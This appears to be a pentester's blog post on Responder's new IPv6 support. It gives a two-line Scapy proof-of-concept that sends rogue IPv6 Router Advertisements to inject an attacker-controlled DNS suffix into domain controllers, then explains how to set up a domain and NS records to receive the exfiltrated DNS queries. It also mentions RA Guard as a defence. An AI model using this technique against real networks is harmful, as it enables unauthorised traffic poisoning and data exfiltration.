Responder 22.214.171.124 comes with full IPv6 support by default, which allows you to perform more attacks on IPv4 and IPv6 networks. As pointed by several people over the years, Responder has always been lacking of IPv6 support and missed several attack paths, especially when it comes to IPv6 only networks or even mixed IPv4/IPv6 since IPv6 is always the preferred stack on Windows.
Responder also comes with a basic DNS server answering to A, SRV and now AAAA records. Tools like mitm6 can be used to get IPv6 traffic (via DHCPv6) and Responder will take care of answering the resulting IPv6 and IPv4 DNS requests.
While working on Responder IPv6 implementation i started to wonder how could it be possible to inject some network settings on IPv4 hosts with a static IP, such as a Windows domain controller. One of the great thing about IPv6 implementation, from a pentester standpoint, is that you don't need to be on an IPv6 enabled network to successfully conduct these attacks.
IPv6 Router Advertisement:
IPv6 RA DNS / DNSSL:
Scapy to the rescue:
The following Python proof of concept will add a DNS suffix on a domain controller (server 2019, with latest updates):
>>> from scapy import all
>>> ra = IPv6 (dst = 'FF02::1')/ICMPv6ND_RA (routerlifetime = 0, reachabletime = 0, prf = 0)/ICMPv6NDOptDNSSL (lifetime = 120, searchlist = ['data.rogueserver.live'])
These lines means send a multicast ICMPv6 Router advertisement to 'FF02::1', router lifetime and reachabletime is set to 0 and we inject a DNSSL called 'data.rogueserver.live' with a lifetime of 2 minutes; We don't want to mess for too long, since every hosts listening for ICMPv6 RA advertisement multicast, will get poisoned with that DNSSL.
Effect on The Domain Controller:
This should not cause much disruption on the network since normal DNS queries will be first resolved by the domain controller, actually most home modem/router usually has a '.lan' '.local' DNS suffix and those DNS requests goes unanswered all the time.
Steps are similar to SSRF, SQLI, XXE exfiltration, first you need a cheap domain name, like 'rogueserver.live' and a server on the internet.
Next step is to configure DNS settings on your domain name:
- Set an A record like 'rogueserver.live' for your domain name pointing to your server IP.
- Set another A record like 'ns.rogueserver.live' for your domain name pointing to you server IP
- set a NS record for 'data.rogueserver.live' pointing to 'ns.rogueserver.live'
- set 2-3 NS records for 'rogueserver.live' pointing to your DNS provider. Usually ns1.provider.com, ns2.provider.com, etc.
If IPv6 is necessary on your network, look for switch security option such as RAguard on cisco.